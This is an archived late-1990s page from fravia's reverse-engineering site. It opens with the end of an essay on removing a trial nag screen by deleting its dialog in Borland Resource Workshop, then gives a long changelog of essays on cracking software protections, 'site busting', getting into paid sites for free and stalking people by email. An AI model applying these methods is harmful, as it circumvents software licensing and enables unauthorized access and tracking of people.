CONTROL 2, -1, "STATIC", SS_ICON | WS_CHILD | WS_VISIBLE, 5, 12, 18, 20
CONTROL "You have", -1, "STATIC", SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 36,
115, 40, 12
CONTROL "", 130, "EDIT", ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE |
WS_DISABLED | WS_BORDER, 78, 114, 18, 12
CONTROL "days left for evaluation.", -1, "STATIC", SS_LEFT | WS_CHILD | WS_VISIBLE |
WS_GROUP, 103, 115, 89, 12
CONTROL "Enter Authorization code", 1, "BUTTON", BS_DEFPUSHBUTTON | WS_CHILD |
WS_VISIBLE | WS_TABSTOP, 49, 137, 113, 14
}

You wont believe it


Well what do you think you can do now? You found the nagscreen, so what?
You will not believe it: It's so easy that its scares me: just choose BRW option
"DELETE" (YES!) and simply DELETE dialog 110...
BRW recompiles the target on the fly and opla! There is no nagscreen there any more!
The target runs without annoying us!

Unbelivable? Try it... See? Now you begin to understand why BRW development has been
deemed "not allowed" :-)

More options
You can apply of course the same trick to EVERY PROGRAM of this planet.
As a matter of fact BRW is great fun for modifying all your software as you
fancy, allowing you quite a palette of options, from puerile to serious reverse
engineering of applications you do not have the source code of...
My copy of MS-Exchange, for instance, has (obviously) "Micro$oft" with the $ sign
and "fravia's own" all over it, various new functionalities that I have added
and no secret whatsoever any more for me (BRW-recompiling is easy if you do not
add functionalities and code and just hold to the same length of bytes...
if you add code and patch yor targets you should use BRW AND a good recompiler
at the same time).
I leave to the brain and the mood of the reader to imagine what a good combination
between dead listing, eventual Winicing and BRWing windows 32 applications can
offer us :-):
TOTAL MASTERY OF ANY APPLICATION;

http://www.instinct.org/fravia/ultrae2.htm (3 of 4) [2/7/2001 3:13:49 PM]


ultrae2

INFINITE POSSIBILITIES OF RESTRUCTURING APPLICATIONS;


IMMEDIATE DISCOVERY OF ANY BACKDOOR, HIDDEN TREASURE, ABORTED FUNCTIONS INSIDE
ANY PROGRAM...
and many many other related goodies.
And since this awful stupid Windows95/97/NT Os will -illogically but unfortunately-
spread and spread more and more, all future programs are -at least for a pretty
long time being- at your feet as well as at mine, my dear fellow crackers :-)

Well, what d'you say? Did you like Fravia's little contribution to the cause?

later
fravia, MSRE (master of software reverse engineering :-)

Post scriptum:
I have been criticized for this, a reader telling me that in fact there are
new versions of BRW...

"Resource Workshop wasn't killed as you state.


Borland still offers it, but it has stopped being a stand alone
product from them. Instead it is included in Borland c++...
Your conclusions are false"

And yet the best (stripped) version of it I could find or gather until now, even
writing to Borland, is still version 4,5.
If anyone has any newer version, please notify... but check first that it really is
a "development" of BRW, not just another copy of what we already know. (The reader
above apologized...)

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms antismut CGI-scripts mailFraVia
Is reverse engineering illegal?

http://www.instinct.org/fravia/ultrae2.htm (4 of 4) [2/7/2001 3:13:49 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

Welcome to Fravia's BLACKBOARD!


(updated January 1999)

[go to the 1997 chronology] ~ [go to the 1998 chronology]


Else just read on, I'll add sporadically some rumblings of mine.

OK, I admit it: I'm sad. The more I visit the scene (and I routinely check all relevant
links) the more I notice a creeping commercialisation roaring its ugly head even among
us. I cannot understand this: people seem unduly obsessed by the possibility of making
personal gains. Even capable reversers are now more and more seeking some sort of
'monetary compensation' for their work. The subliminal effect of those millions of
commercial banner ads is maybe taking control of their brains, like in a SF-film. Since I
cannot understand this, I'm probably out of touch with the reality. Well, so be it: I'm fed
up. My dream was to fullfill the task +ORC entrusted us long ago: "knowledge is now
free at last: let's use this for once to our advantage: let's spread real knowledge to anyone
that cares. They spread shit ads and fake propaganda, we spread real knowledge. We will
win". Yet we are not winning, or at least the other side is winning even more. And I'm
tired..

Ramblings

Xmas 1998
Merry whatever and a happy new year to all my
readers!
fravia+'s boring rumblings
(about goebbelsian european propaganda, Clinton's sexual escapades and Iraq bombing)
Na ja... merry Xmas (or Yanucca, or whatever your local ideology is) to all of you... since we
are reversers, and since I'm unfortunately editing nice essays, right now, during a barbarical
air-attack against a population that has the only fault to live in a different dictatorial system
than the ones we ourselves are enjoying, and since my kids are playing with nice new toys in
Winter the same room where a TV-set yells an awful sequence of idiotical propaganda in the We reverse
1998 attempt to cover the images of other kids being bombed and killed by the governments of my software
fravia+s American and British friends, I'm afraid I just have to write these words, even if they sound ~ while
boring silly and useless... it is just a question of being coherent with my (limited yet still existing) software
rumblings conscience: Nossir: Your wars are not mine. Whatever your obscene propaganda says: your kills
wars are not mine. I'm a reverser, I won't forget anything. You'll pay for these crimes. Sorry,
I know politics and web-teachings should be kept well apart... and I always sincerely did
great efforts in this sense... but this time it was just a little too much for me. I flipped the
moment I heard on CNN the american butcher-in-chief saying that "fortunately there have
been no victims among US-citizens"... See: I had to write this small snippet, after all it's a

http://www.instinct.org/fravia/blackbo.htm (1 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

sort of reversing effort as well...


Autumn
1998 See my Autumnal thoughts special page with the comments and suggestions of many Crossing
Should we friends. ~ the wide
crack or wide web
reverse?
It's a difficult situation: for one contributor worth something there are more than TWENTY
that only waste your time, most of them -moreover- as it seems completely "en mauvaise
fois". So what? I could probably now close my site, maybe, there are now many others
talented ones that would fill the gap: I reckon I have made enough my point: a
non-commercial site can not only "survive", but become a reference and a source of
knowledge for any other site on the web that deals with this kind of matter (yet the
"nonchalance" by those who steal the knowledge on this site in order to sell it to the zombies
keeps fascinating me... I believe that the mere existence of people so exclusively
Mid May concentrated on money matters is one of the marvels of our world... like industrious little
1998 ants: instead of living these guinea pigs are furiously concentrated on their limited horizon: Nothing
Silly thoughts their useless GSM-appointments, the dutyful pathetical morning washing of their cars, the ~ cool in this
of a tired next career opportunity behind the shoulders of their collegues... hey... what remains for hot may
webmaster them later? A sense of fullfillment for having gained a little more money this way? To gain
money, if not unimportant, is IMHO relatively easy (if you really don't know how to gain a
lot of money just enter -for instance- any political party and conform until you do): the real
difficult problem is what you will do with your life... how do you keep 'growing' and
'learning' all the way long... clearly most of the people working in this field have still a lot to
understand... yet I'm VERY happy to have had the pleasure and the honor to meet (well,
figuratively) people like +ORC, +gthorne, Sharp, Mammon, +ReZiDeNt, Quine, +Alistair,
Hutch, +Aesculapius, +RCG and all the many other talented and clever ones that compensate
'ad abundantiam' the zombie majority I'm at times compelled to come to terms with)
Should I push away from 'simple' cracking? It is difficult to judge, because there is a great
'turnover' of visitors, of course, and many people that land on my site are still
'cracker-conditioned', they don't yet grasp the beauty and the interest of reversing code that
HAS NOTHING TO DO with protection schemes. On the other hand more and more valid
Mid March reversers are growing up (one of the best: Quine, has recently decided to 'retire' and pass to
1998 more 'constructive' tasks :-( a very solide and powerful approach: they are IMPROVING the
Evolution of targets they reverse... well, I believe that my site had in part a role in this development. I'll Teacher
~
this site, try to push even more. Crackers are finally getting down from their trees all over the planet. cool
evolution of They are EXPLAINING and TEACHING. They are beginning to use TOOLS! They are
the cracker approaching from underneath the codebushes, very powerful and very dangerous, with their
sharp assembly blades, for the heavy and overbloated Windozed Appllicationosaurus,
stupidly chewing its routines on the code planes. Poor brainless creatures, they cannot even
run away with their huge and heavy commercial overbloated bodies. In this incredibly
silly-frilly aera the new Homo reversicus will have plenty of food! Yumm! Burp!
Web time and real time have few things in common: that what seems very important to one
seems irrelevant to others, and messages that are very urgent (say on a maillist) get their
Mid answers many week afterwards... this depends from the fact, I believe, that our 'community'
is NOT real: messages sent by y for x arrives when he is gone for a week, he comes back and
February answers and y is upset for this delay. Z asks for help and many months later W answers, Proustian
1998 ~
because he happens to have found Z's original email on dejavue seeking completely different cool
About time on things... funny web where there are still many pages linking to pages of mine that have
the web disappeared in 1995! I find also the 'waves' curious, if you have a look at the chronology,
you'll realise that, for instance, dongle cracking seems to have been all the rage towards the
end of january...

http://www.instinct.org/fravia/blackbo.htm (2 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

Keeping a site like this one remembers me of costantly adjusting and repairing things in a
End big house. At the moment, as you can see from the chronology, I'm working somewhere in
January my Javascript section... Take a seat, sip a cocktail and read some essays, if you need me
you'll find me there. ~ The new Javascript entrances section has collected a huge amount of Techno
1998 ~
cool
Working in the interest... man! These things are indeed interesting! ~ I have also revamped my reality
'cave' cracking after having received the 'cigarretes' essay by +ORC... hope to get this section up
and running for this sommer (besides: I love Bilibin's pictures :-)

1997

The Blackboard has been interrupted


for a month. The new section has
been improved and transformed in
November 1997 ~ lotta things
the (beginning) of a real Acadmey of
~ Really cool
January 1998 anonimity, we'll see if we get enough
time free to follow it. The
Steganography section has collected
a huge amount of ineterest
A new section with an essay by
8 November 1997 Anonymity Academy
LordCaligo!
~ Quite interesting

7 November 1997 Fravia+ & Snatch New interesting tool: Smartcheck 5.0 ~ pretty important
PC Magazine november 97 (not the
3 November 1997 Thank denis Hors serie edition) carries Delphi 2 ~ Pretty important
trial and Intrabuilder
Well, this comes directly from MOST important for all
+HCU preparation for +ORC, so only those that passed the +HCUkers
29 October 1997 the 1998 courses strainer (and the old hands) are
~
Quite important for all
requested to do it friends
PcPro (UK magazine) December
issue: pcANYWHERE, Norton
Utilities, Crashguard, Norton TOOLS!
28 October 1997 Thank +ReZiDeNt!
AntiVirus and the full Corel Office 8
~
pretty important
(with Paradox) for 3.50 UK pounds
in Europe, even less in Britain
Two new interesting sections:
28 October 1997 +HCU Taxonomy Advanced cracking and Snippets ~ Quite important

http://www.instinct.org/fravia/blackbo.htm (3 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

I know that some of you may be


interested in the complete (201.008
bytes long) listing of all files
contained in my WATCOM 11
CD-ROM: here they are. Watch it: no
28 October 1997 Watcom11
files here (of course you'll be able to
~ not much important
find them on the Web, yet not on my
site nor from my copy n.W31155),
here have been zipped only the
NAMES of all files!
PCMag Hors-serie n.23 'Programmer
Internet' issue "November 1997", a
french magazine (only address:
cdrom@planetepc.fr, price = 38
french francs) carries free (or easy to
TOOLS!
reverse :-) betas or trials of
21 October 1997 Java and C++
JavaStudio 1.0 (Sun); Java
~ VERY
IMPORTANT
WorkShop 2.0 (Sun); JDK 1.14
(Sun); Visual Cafe (Symantec);
Borland C++ Builder (Borland);
Borland Intrabuilder (Borland); and
other small "development" suites.
"I have spent several days looking at
a VB3 program called POPIt, and
have had very little success. I have
talked to Razzia as well as several
others on IRC and it seems that this
program has not yet been cracked. I
was hoping you could possibly post a
challenge on the HCU page, looking
12/19 October Tough protections for information on the scheme this
~ pretty important
1997 (letter from +Sync) program uses. It claims that it uses
the hard drive serial number off of
your computer as part of the
protection, but I have doubts as to the
validity of this". The program is
available at www.pro-pro.com
Thanks +Sync
And here you have a first anwer by
flipper!
Hello, an update on PC plus giving
away Borland C 4.5 Octobers issue
19 September Thanks Rob!
which is in shops now in UK has
~
TOOLS!
1997 repeated Borland C 4.5 disk due to VERY IMPORTANT!
public demand. So another chance to
get it for 4 pounds.
Hey, everyone... please start working
on "demo" reverse engineering (yes:
16 September general
graphic 3D demos). We suppose that
~
New project!
1997 TREASURES of compact code (and (Project B)
assembly tricks) are to be found
there!

http://www.instinct.org/fravia/blackbo.htm (4 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

15 September solution.htm Solutions to the strainer: the new


~
Quite
1997 +crackers! IMPORTANT
Hey, everyone... please send your
10 September general
FAVOURITE breakpoints for softice
~
New project!
1997 (Say bpmb cs:eip rw if (Part of Project 2)
0x30:0x43AA==1)
Fairly
29 August 1997 pna1.htm The first +HCU 97 Training exercise ~
IMPORTANT
Micro$oft's SERIOUS security holes Quite
27 August 1997 astonish.htm
exposed
~
IMPORTANT
ATTN: Thomas! Thanks a lot!, may
NOT
13 August 1997 capered pages be wir werden uns treffen in ~
IMPORTANT
Kreuzberg!
Hexsearch nagscreen and place nop Fairly
09 August 1997 bag' of tips (Rundus)
in front of the Nagwindow Title
~
IMPORTANT
ATTN: Marta! Long ago promised Fairly
06 August 1997 Students' essays
lessons about dongles! still missing!
~
IMPORTANT
Cookies begone with a new
DIRECTORY cookies.txt! Just try it Pretty
31 July 1997 bag'of tips (Lanor)
and re-enable cookies without any
~
IMPORTANT
problem any more!
Wer getting nowhere with Zmud, NOT
19 July 1997 Zmud
please write if you got something
~
IMPORTANT
BRW (Borland Resource Workshop)
Last version 4.5.!
Buy IMMEDIATELY the UK
TOOLS!
Borland Resource Review PCPLus (Issue 130, August
19 July 1997 Workshop 1997), Price: 3.99 UK Sterlings
~ VERY
IMPORTANT
You'll find inside it, THE
COMPLETE Borland C++ version
4.5 with BRW!

Well, you'll get a PERFECTLY LEGAL copy of BRW and the whole Borland C compiler (a very
good version BTW: 4,52, and the complete Windoze's API reference, and a lot of other goodies
(Netscape 4, for instance) for less than 4 pounds... should somebody dare to say that Crackers are
the ruin of the software industry you know what to answer :-)

Some info about PcPlus (UK) for those of you outside the European Union:
pcplus@futurenet.co.uk
http://www.futurenet.com
Future publishing: United Kingdom: O1225-442244

http://www.instinct.org/fravia/blackbo.htm (5 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

1998

merryx.htm: Merry Xmas! (a present for the good ones, a punishment for the
bad ones :-) ~ truber_1.htm: Trubert's Linguistic cracking ('Nationality'
exegesis) part of the text cracking section, useful for stalking purposes as well ~
23 December 1998 kmart_s1.htm: Kmart's More searching tips (Advanced searching) ~
Contents: xdae_22.htm: +Xdaemon's Cracking File Read Aloud v1.1 (the chmod
Merry Xmas ~ Linguistic cracking ~ indicator) ~ Blackboard & Links & Cocktails & Recent thoughts & howtouse &
Advanced searching ~ chmod cracking ~ protec.htm updated ~ soz_li.htm: .sozni's OCX cracking (Using LIC files) ~
OCX cracking ~ Linux cracking ~ mm2*
siul_333.htm: SiuL+Hacky's Linux cracking: About Introducing Your Own
neutralizing ~ More about supermarket
enslavment Code (Advanced cracking) ~ mm_dat.htm: ZenGuy+:Neutralizing MM256.DAT
and MM2048.DAT files ~ cugeosup.htm: Curious George's 'the discount
supermarket' and fravia+'s "European Motorroad malls", as part of the
'supermarket enslavery' section of the reality cracking Lab
slaves.htm: Dark One's ADDITION to the famous "supermarket enslaving
tricks" by +ORC (a reality cracking essay ~ porvbo1.htm: Victor Porguen's
Redirection Revisited -- Achieving Redirection Through API Spoofing (part of
the +HCU papers) ~ kuririrh.htm: Kuririn's A "quick and dirty" look at rhetoric
12 December 1998 and persuasion(a reality cracking essay ~ Micro$oft bashing & cocktail.htm &
Contents: confnets.htm revamped ~ ideale7.htm: fravia's and A+heist's How to seriously
More supermarket enslavement ~ VBOX annoy smut sites... (How to allow any luser to access any commercial smut site
reversing ~ rhetorical truths ~ access any for free :-), part of the Site busting section ~ owlimpo.htm: The Owl's Cracking
commercial site ~ Cracking the impossible the impossible, part of the advanced software reverse engineering lab ~
~ Things that happen ~ corporate sniffing ~ anohisto.htm: fravia's Things that happen, part of the Anonymity Lab ~
Dick & Drugs ~ Crunching ~ everlock enbecor.htm: Embedded's Sniffing the Corporate and Institutional Network, part
revisited of the corporate survival techniques section ~ psycioff.htm: Cioff's Psycho
slimming , part of the reality cracking section ~ crunchi7.htm: Joa's Little essay
about the various methods and viewpoints of crunching. Part VII: Arithmetic
Crunching (crunching bits apart...) ~ everlock.htm: Tomboy's Everlock by
Az-Tech: Reversing a Commercial Copy Protection Scheme - Part I
anonema.htm: Anonymous emailing, fravia's golden tips ~ corporate.htm: One
for "public" computers ~ whydwcr.htm: Why crackers crack? Reversing
reversers' psychology (part of the how to protect better section ~ links.htm
2 December 1998 revamped ~ Advanced javascript page (restricted access... see "entrance" at
Contents: javascri.htm): Gattman's Java approach ~ codeliap.htm: cracking codelink v4.0
anonymous emailing ~ why crackers crack by silkware "applets cracking" by douby ~ surre_05.htm: The continued irc
~ Java against javascript ~ applets cracking experience, pro's and con's from a searching standpoint by surreal5 (part of
~ search better ~ The surreal5's search tips) ~ TWO reality cracking essays!: pharma1.htm: Cioff's
multi-pharmaindustrial conspiracy ~ The multi-industrial conspiracy ~ entran.htm revamped ~ asparta1.htm:
Windoze watches you? You watch
Kuririn's Dangerous food additives (reversing labels) ~ twdappl2.htm: TWD's
windoze! ~ Dangerous food additives
(reversing labels) ~ Cinderella ~ Using Looking inside your Windows 98... (second part: "Tell me which applications
BRW you run and I tell you who you are"), part of the Micro$oft bashing section ~
rhino.htm: Sojourner's What Time Does the Library Open? (part of the Most
stupid protection section) ~ caligo4.htm: LordCaligo's Using BRW: How to
make passwords hidden by "stars" visible, a How to use our tools essay

http://www.instinct.org/fravia/blackbo.htm (6 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

project5.htm: FOUR! contributions to 'safe surfing': 1) iefafpro.htm &


confnets.htm: Iefaf's Two contributions to fravia's anonimity lab and also a
reaction to his autumnal feelings ~ 2) zipped/netscape.zip: Awaiting_name:
Panzer your netscape browser (with C++ source code!) ~ 3) twodisk.htm:
-the_gonz's An easy way to stop the guys (from Redmond) to snoop data inside
your harddisk ~ links.htm & cocktail.htm & searmyst.htm & project9.htm:
slightly updated ~ antsmut.htm: Triple T's easy smut sites cracking tips for
25 November 1998 beginners (part of ideale.htm!) ~ securom1.htm: Pedro's Securom's clever
Contents: protection scheme debunked (With a new "GrimFandango" Addendum)
Safe surfing ~ Site cracking for beginners ~ (advanced cracking!) with an Addendum by +Xoanon ~ FOUR! reality cracking
Clever CD protection schemes ~ essays: 1) Hal Cioff's advert1.htm: A first stab against the advertisement lures ~
anti-advertisement ~ M$-logo subliminal 2) Felipe's sublimi1.htm: Windows' logo subliminals ~ 3) Cioff's Reality
brainwashing ~ Information warfare ~
cracking tools: suggestions ~ 4) infowarf.htm: fravia's "The power of reversing"
reality cracking ~ redirections ~ searching
(1): Reverse engineering, information warfare and cots ~ The Owl's Great
books of our trade ~ javacral.htm: El Latigo's Java cracking, reversing applets
java reversing for beginners ~ redirect.htm: Victor Porguen's Defeating File
Integrity Checks Through Redirection (substituting an "unhacked" copy of the
target instead of our cracked copy) ~ mamm_gip.htm: +Mammon's The great
IDA primer updated (part of the How to Use our tools section) ~ search fravia's
site!
Jean-Marc's enh_ida.htm: An IDA enhancer (patching the IDA.WLL) advanced,
htu-tools ~ NiKoDeMoS' jn_essay.htm The New Chaos Protection, our
protections ~ adq's adqlinu1.htm Linux cracking ~ How to crack in Linux
without a disassembler ~ Marigold's marigo_4.htm: VBox The Hellraiser or the
12 November 1998 "paper tiger" by PreviewSystems, advanced, timelock ~ Cioff's halcio.htm:
Contents: SHOULD THE COMPUTER INDUSTRY BE OUR PRIMARY TARGET? ("the
Ida enhancing ~ Chaos protections ~ Linux politicians as the primary enemy"), realicra.htm ~ NotAnne's timeperc.htm
cracking ~ Timelock cracking ~ Politicians
Perception of Time, Calendars and Animals Felipe's findinges: fragra_1.htm:
do indeed smell badly at times ~ legalities
Fragrances smell badly! ~ legal1.htm: The+Starling's THE LEGAL
~ IDA <> softice ~ site busting galore
PROTECTION OF COMPUTER PROGRAMS (part of legal.htm) ~ help.htm
revamped ~ _Al's idasym.zip: Converts IDA map file to a SoftIce SYM file (an
ourtools.htm tool) ~ servexpl.htm: Rudycarell's Some nice site busting
techniques ~
THCU99.htm: Master +Aesculapius ' judgment solved by some of the most
promising +crackers of the planet! GREAT READING! More solutions added...
(for advanced protectors and reversers only) Advanced reversing!

The above section is a MUST for all reversers and protectors alike. Read, study,
keep cool, learn... you have enough material in there for a couple of weeks!
coc_001.htm: Cup of Cats' When one key code works, why can't the rest of
30 October 1998
them? ~ Our tools galore! 3 essays: 1) swann_mm.htm: Swann's A New Toy:
Contents: reversing the different 'modes' of a target ~ 2) laste_09.htm: adq's isDcc: An
Strainer's solutions! ~ deep into the code ~ installshield Decompiler Advanced reversing ~ 3) getinfo.htm: Nikodemos
Our tools galore ~ different modes ~ have a
(Jayke): The Quick Guide to Smashing those insidious *.DAT filez ~
look at your dats! ~ good old Cute ~
cftp_pro.htm: The+Q's CuteFTP KeyFile Protection Advanced reversing ~ An
encryption challenge: Jeremy Likness's challenge to all readers of my site ~
pilgrim.htm: Pilgrim's How to crack a PC-based FlexLm license manager ~
fragas1.htm: Lone Runner's WIN32 Api Hooks, The stub approach, Advanced
reversing ~ tapu1.htm: Tapu's Cracking The Information Curtain, a reality

http://www.instinct.org/fravia/blackbo.htm (7 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

cracking essay! ~ howtouse.htm: how to use our tools added ~ links.htm


revamped
septem.htm: More autumnal thougts and even more feedback: Should we crack
protections or just reverse? ~ dongle_n.htm: 932452's Two stupid dongle
protections bite the dust, Dongle cracking ~ HCU essays aca100, 200, 300 and
21 October 1998 400 revamped ~ project 0 revamped as example ~ awards page revamped ~
Contents: ductusu1.htm: VK's Landlord vs Tenant: a "text-exegesis" crack... reality
Strainer's solutions! ~ Should we crack or cracking's text-reversing subsection! ~ bulga_1.htm: SvD's
reverse? ~ Dongle cracking ~ Text cracking Data-reverse-engineering - Lesson 1 HCU papers ~ idaprim.htm: +Mammon's
~ data cracking ~ IDA ~ good protections ~ (and alia): IDA PRIMER How to use our tools ~ protec.htm: A good protection
outtiming time limits ~ No, I don't agree ~ is NOT an impossible dream! ~ rebirth.htm: Douby's Outtiming the time limit
bad and good essays and stack defeating two CRC checks, a very good beginners essay ~ :
scarecro.htm: fravia's Scarecrow license agreements and how to defeat them,
legal.htm ~ acaele1.htm: Knotty Dread's LIST OF GOOD AND BAD ESSAYS
Cleaning fravia's site:-)
septem.htm: More autumnal thougts and even more feedback: Should we crack
14 October 1998 protections or just reverse? ~ twdaplog.htm: TWD's Looking inside your
Contents: Windows 98... Finding an hidden incredible database inside your computer
Strainer's solutions! ~ Should we crack or ourtools & Micro$oft bashing concealed cracking ~ ffoodre.htm: ABe*'s Know
reverse? ~ Bogus windows 98: Our own the shit you eat, or FAST FOODs, a reality cracing essay fast food cracking ~
tools ~ McDonald's cracking necrophi.htm: Gossip's sexual tendencies and practices of necrophiliacs a first
'text cracking' essay! not for the sensible ones ~
septem.htm: More autumnal thougts and even more feedback: Should we crack
protections or just reverse? ~ crawicra.htm: fravia's Cracking without cracking:
secrets of the operational art of war demo, "Target unrelated" cracking ~
04 October 1998 twdrul1.htm: TWD's a simple utilitiy which is fine to look inside others people
Contents: computers Our tools section ~ links.htm, cocktail.htm, aca100.htm and
Strainer's solutions! ~ Should we crack or private.htm partly modified ~ reacrnn.htm: Pantheon's The exact science of
reverse? ~ "target unrelated" cracking ~ guessing Intermediate Reality cracking ~ cdromch.htm: grasshopper's A CDRom
Our own tools ~ Admin ~ Heisenberg ~ check with a twist ~ "Target unrelated" cracking ~ hutcheq.htm: Hutch's get a
CD-Rom protections ~ dongles ~ retaliate ~ full set of prototypes for ASM in a fast and automated way Our tools ~
strings fuhr_o1.htm: Dr Fuhrball's A slightly different kind of dongle cracking
Advanced dongle cracking ~ sueall.htm: im/mu's Invoice EveryCorp for
EveryThing another reality cracking tip. ~ tech01.htm: +MaLaTTiA's Reverse
engineering techniques explained #01: string search Beginners' basic
septem.htm: contributions to my September discussion ~ dvdfuhr.htm: Dr.
Fuhrball's DIVX and DVD reversing, +HCU papers; DVD cracking ~ asc0.htm:
Asc0's A crackme based on Aesculapius' algos, Our protections; "Target
unrelated" cracking ~ wdasmcr.htm: Lazy Crack's Some useful points in using
Wdasm89 as a debugger (Cracking Borland's Sidekick 98) Intermediate
software reversing ~ bypaswin.htm: DeeEmAye's Bypassing Windows
23 September 1998 registrations Microsoft bashing Useful snippets ~ Micro$oft bashing revamped
Contents: ~ info.htm: my public PGP 5 key added ~ ~ Gary Benson's Unconventional
Should we crack or reverse? ~ DVD Access: My way into the Advanced Steganography pages Advanced
cracking ~ "target unrelated" cracking ~ Steganography ~ int_acc.htm: MML's Reversing Governmental Polices:
M$ bashing ~ email stalking ~ counter
Internet access for the masses (Anonymity Academy) Advanced anonimity ~
intelligence
staltec1.htm: fravia's Simple email stalking techniques (Anonymity Academy)
Enemy stalking ~ there's now also an experimental message board for all people
hanging around at fravia's ~ couninte.htm: Crackers' Counter intelligence: An

http://www.instinct.org/fravia/blackbo.htm (8 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

interesting emailexchange between Brandon Van Every and Russ Williams: The
Economics of Piracy ~ Advanced javascript: +mISu's A real solution using
backtracking Advanced javascript
septem.htm: contributions to my September discussion ~ reacraus.htm: Getting
deeper into reality cracking: (<predator>'s fascinating rantings on an essay by
Curious George) Advanced reality cracking ~ icedump4.htm: release 4 of
TheOwl's winice dumper, one of our tools. Advanced software reversing ~
joarea1.htm: Joa's Sect cracking, a first attempt Reality cracking ~ altruis1.htm:
16 September 1998
Deep dt's Altruism and charity, a reversing attempt Reality cracking ~
Contents: crunchi6.htm: Joa's Little essay about the various methods and viewpoints of
Should we crack or reverse? ~ Advanced crunching. Part VI: The secret of Zip and Rar (LZW explained) Software
reality cracking ~ softice dump, version 4 ~ reversing Papers ~ symbo_1.htm: sYmbol's KeyLBE32.DLL, why would you use
Sects and altruism cracking ~ Zip and Rar
this to protect your program? "Target unrelated" cracking ~ patch_1.htm:
reversing ~ "target unrelated" cracking
Daniel's A Free Win32 Patching Utility, Our tools; "Target unrelated" cracking
~ cyberme.htm: Sanity's Cracking an uninstaller, [Filemonitor & Deadlisting]
Most stupid protections; "Target unrelated" cracking ~ asc0.htm: Asc0's A
crackme based on Aesculapius' algos, Our protections; "Target unrelated"
cracking ~
septem.htm: I now consider "silly" protection cracking useless, therefore the
part of my site that deals with software protection will change radically ~
08 September 1998 ideale5.htm: server exploits you can really use Advanced site busting ~
Contents: win98tut.htm: Bypassing Win98 FULL Version's serial check "without
Reopening after a long while: my site will cracking", by IH8U (Micro$oft bashing) Intermediate ~ pna3.htm: PNA's How
change ~ windows 98 fooled ~ Hooking to hook any API function in kernel32.dll Advanced paper ~ mre2.htm: About
operating systems ~ A very stupid keyfiles, generators and protections Beginners ~ shampa1.htm: Makoli's
commercial protection ~ reality cracking ~
Reversing Shampoo, a short Reality cracking essay. ~ compro2.htm: LSD's: An
advanced site busting ~ Linux advanced
cracking incredibly stupid "commercial" Protection Programmer's corner Intermediate ~
siulflex.htm: SiuL+Hacky's Linux advanced cracking: flexlm Advanced ~
wdasmcr.htm:
On friday 31 July I'll publish the LAST UPDATE until september: I'm leaving
the web for a whole month. +gthorne (gthorne(at)cyberspace(point)com) has the
"keys" to this site if anything REALLY URGENT needs to be
updated/modified!
enemy.htm: a new introduction about stalking people on the web Intermediate
31 July 1998 enemy tracking ~ searmyst.htm: fravia's search engines' vagaries (reversing
Contents: SE's bots) Intermediate ~ links.htm revamped ~ reveinfo.htm: reversing
Preparing for holydays ~ stalking on the information, some examples from 'The Economist' (as part of the reality
web ~ search engines' vagaries ~ reversing cracking section). ~ dllshow1.htm: A+heist's reversing dllshow, a very simple
information ~ ready made protections are snippet for beginners Beginners ~ xoano_27.htm: +Xoanon's Another
weak ~ some good ideas for protectors readymade sotware protection (Intellisecure R2) dies Intermediate ~
monitor.htm: MisterE's Keyfiles: Monitor/RA v1.80 and the 'hidden protection'
idea Beginners ~ rcnewht.htm: Cracking an encrypted dll scheme: Virtual
Turntables 1.5 (from the programmer's corner section) Intermediate ~
lanpat.htm: Stalking people on the web: reversing language patterns Advanced
enemy tracking

http://www.instinct.org/fravia/blackbo.htm (9 of 18) [2/7/2001 3:14:28 PM]


blackbo.htm fravia's silly rumblings and a lot of past updates of fravia's site

paulwils.htm: Wilson's REVERSING STRESS ("modern Zen" reality cracking


25 July 1998 methods) ~ bbnag1.htm: bb's Simulating User Input to Eliminate Nag Screens
Contents: (an +HCU paper) Intermediate ~ rezget_1.htm: +ReZiDeNt: Reverse
Reversing stress ~ no nag screens please ~ Engineering Gettysburg: Demos can be more than they seem Intermediate ~
A strategic great game that you probably bbdrlan2.htm: bb's MKS toolkit revisited Intermediate ~ neto_01.htm: Miguel
already have ~ back to MKS toolkit ~
Neto's How to crack another commercial "ready made" protection (timelock
commercial protections are no-no-no
articles ~ nasty protections: are they useful? style) Intermediate ~ sealight.htm and searengi.htm revamped ~ neto3.htm:
Miguel Neto's HTMLPad: A nasty protection Intermediate
20 July 1998 gtbankil.txt: +gthorne's javascript banner killer Advanced ~ uedilas.htm:
Contents: Miguel Neto's UltraEdit 5.1 ~ A time trial crack ~ rezilin.htm: +ReZiDeNt's
kill those popup banners! ~ ultraedit Reverse Engineering a Linux/X Target ~ entran.htm: fravia's entrance page, and
revisited ~ Linux/X reverse engineering ~ index.htm: fravia's front page revamped ~ shellex.htm: Mr. Shellex's
Micro$oft's machinations exposed ShellExecute and Your Default Browser, Micro$oft's bashing
salinas.htm: Salinas' Micro$oft Publisher 97: Crack it and Drop it! Micro$oft's
bashing beginners ~ ideale.htm: password introduction revamped ~
15 July 1998 prophe2.htm: Prophecy: Dirtbike: a cute protection scheme Intermediate ~
Contents: withles1.htm: Hedwig Blastock's Anti-consumistic frugality tricks Reality
Publisher '97 and '98 ~ more about
Cracking tricks ~ billboar.htm: The Media Foundation's Adding the Blemish of
passwords ~ reality cracking ~ faul
Truth : How to Alter a Billboard Reality Cracking tools ~ snooty2.htm: Snootys
protections
Unprotecting unprotectors ; or how AccessData failed itself by relying on
StopCopy Programmer's corner Intermediate
iebug2.htm: Cryptopoulos' How to bypass Micro$oft Internet Explorer security
